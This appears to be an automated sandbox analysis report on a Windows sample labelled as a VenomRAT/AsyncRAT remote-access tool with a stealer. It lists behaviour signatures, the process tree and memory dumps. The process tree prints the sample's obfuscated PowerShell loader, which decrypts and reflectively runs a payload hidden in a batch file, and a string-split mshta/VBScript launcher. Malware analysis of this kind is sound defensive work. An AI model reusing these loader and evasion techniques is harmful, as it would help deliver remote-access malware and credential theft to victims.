Resubmissions
01/07/2024, 13:38
240701-qxfctavbjd01/07/2024, 13:36
240701-qwkk5sxhmp01/07/2024, 13:34
240701-qt62csxgqn15/04/2024, 16:24
240415-twdpdaag8515/04/2024, 16:06
240415-tj8zracg3115/04/2024, 15:53
240415-tbwpfsce4y1023/03/2024, 00:57
240323-ba892sbc5610Analysis
- max time kernel
21s - max time network
18s - platform
windows10-1703_x64 - resource
win10-20240404-en - resource tags
- submitted
23/03/2024, 00:57
General
- Target VenomRAT v6.0.3/Venom RAT + HVNC + Stealer + Grabber.exe
- Size 26.1MB
- Sample240323-ba892sbc56
- SHA256 5dbb0f9df5fc34b49f0e284afe9037206c29dd8e50f0adbbcca785dcca89592e
Malware Config
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Local\Temp\VenomRAT v6.0.3\Venom RAT + HVNC + Stealer + Grabber.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Venom.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function ztZFv($NRwiA){ $nQAla=[System.Security.Cryptography.Aes]::Create(); $nQAla.Mode=[System.Security.Cryptography.CipherMode]::CBC; $nQAla.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $nQAla.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('QdoYxUkiCqDUKhWwrTH7AerfcIF5j7b/N2RWKPLtoYY='); $nQAla.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('odLQJwhJTyobsFXcB4hGIA=='); $gHZYb=$nQAla.CreateDecryptor(); $return_var=$gHZYb.TransformFinalBlock($NRwiA, 0, $NRwiA.Length); $gHZYb.Dispose(); $nQAla.Dispose(); $return_var;}function RqfAN($NRwiA){ $eThoy=New-Object System.IO.MemoryStream(,$NRwiA); $sppNM=New-Object System.IO.MemoryStream; Invoke-Expression '$TwzvL #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$eThoy,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $TwzvL.CopyTo($sppNM); $TwzvL.Dispose(); $eThoy.Dispose(); $sppNM.Dispose(); $sppNM.ToArray();}function mReVh($NRwiA,$dHouc){ $RXzAR = @( '$nUQVd = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$NRwiA);', '$TAeyG = $nUQVd.EntryPoint;', '$TAeyG.Invoke($null, $dHouc);' ); foreach ($CnxNU in $RXzAR) { Invoke-Expression $CnxNU };}$DsIiH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Roaming\Venom.bat').Split([Environment]::NewLine);foreach ($REdJF in $DsIiH) { if ($REdJF.StartsWith('SEROXEN')) { $LHnvh=$REdJF.Substring(7); break; }}$AShmJ=RqfAN (ztZFv ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($LHnvh)));mReVh $AShmJ (,[string[]] ('C:\Users\Admin\AppData\Roaming\Venom.bat')); "3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"C:\Users\Admin\AppData\Roaming\Venom RAT + HVNC + Stealer + Grabber.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fcYQxVhvEiaGdINTAJQc4312:JJRWgfrr=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fcYQxVhvEiaGdINTAJQc4312:JJRWgfrr=%2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Venom RAT + HVNC + Stealer + Grabber.exe.log
__PSScriptPolicyTest_3xefsshr.jwv.ps1
Venom RAT + HVNC + Stealer + Grabber.exe
Venom.bat
$sxr-cmd.exe
$sxr-mshta.exe
memory/884-15-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/884-82-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/884-16-0x0000012A58AF0000-0x0000012A59924000-memory.dmp
memory/4592-79-0x00007FFF22F60000-0x00007FFF2300E000-memory.dmp
memory/4592-103-0x000002031C7C0000-0x000002031C818000-memory.dmp
memory/4592-21-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/4592-24-0x000002031B610000-0x000002031B632000-memory.dmp
memory/4592-23-0x000002031B460000-0x000002031B470000-memory.dmp
memory/4592-53-0x000002031B7B0000-0x000002031B7EC000-memory.dmp
memory/4592-64-0x000002031BC20000-0x000002031BC96000-memory.dmp
memory/4592-73-0x000002031B460000-0x000002031B470000-memory.dmp
memory/4592-74-0x0000020364210000-0x0000020364AA8000-memory.dmp
memory/4592-359-0x000002031B460000-0x000002031B470000-memory.dmp
memory/4592-80-0x00007FFF257B0000-0x00007FFF2598B000-memory.dmp
memory/4592-81-0x00007FFF257B0000-0x00007FFF2598B000-memory.dmp
memory/4592-83-0x00007FFF257B0000-0x00007FFF2598B000-memory.dmp
memory/4592-251-0x0000000180000000-0x0000000180009000-memory.dmp
memory/4592-84-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/4592-85-0x00007FFF257B0000-0x00007FFF2598B000-memory.dmp
memory/4592-86-0x000002031BCA0000-0x000002031C76A000-memory.dmp
memory/4592-87-0x000002031B850000-0x000002031B8EA000-memory.dmp
memory/4592-102-0x000002031C770000-0x000002031C7C2000-memory.dmp
memory/4592-22-0x000002031B460000-0x000002031B470000-memory.dmp
memory/4592-104-0x000002031B780000-0x000002031B7AE000-memory.dmp
memory/4592-119-0x000002031B460000-0x000002031B470000-memory.dmp
memory/4592-247-0x000002031B2C0000-0x000002031B2C8000-memory.dmp
memory/4660-14-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/4660-2-0x000000001CBF0000-0x000000001CC00000-memory.dmp
memory/4660-0-0x00007FFF097B0000-0x00007FFF0A19C000-memory.dmp
memory/4660-1-0x0000000000630000-0x000000000205A000-memory.dmp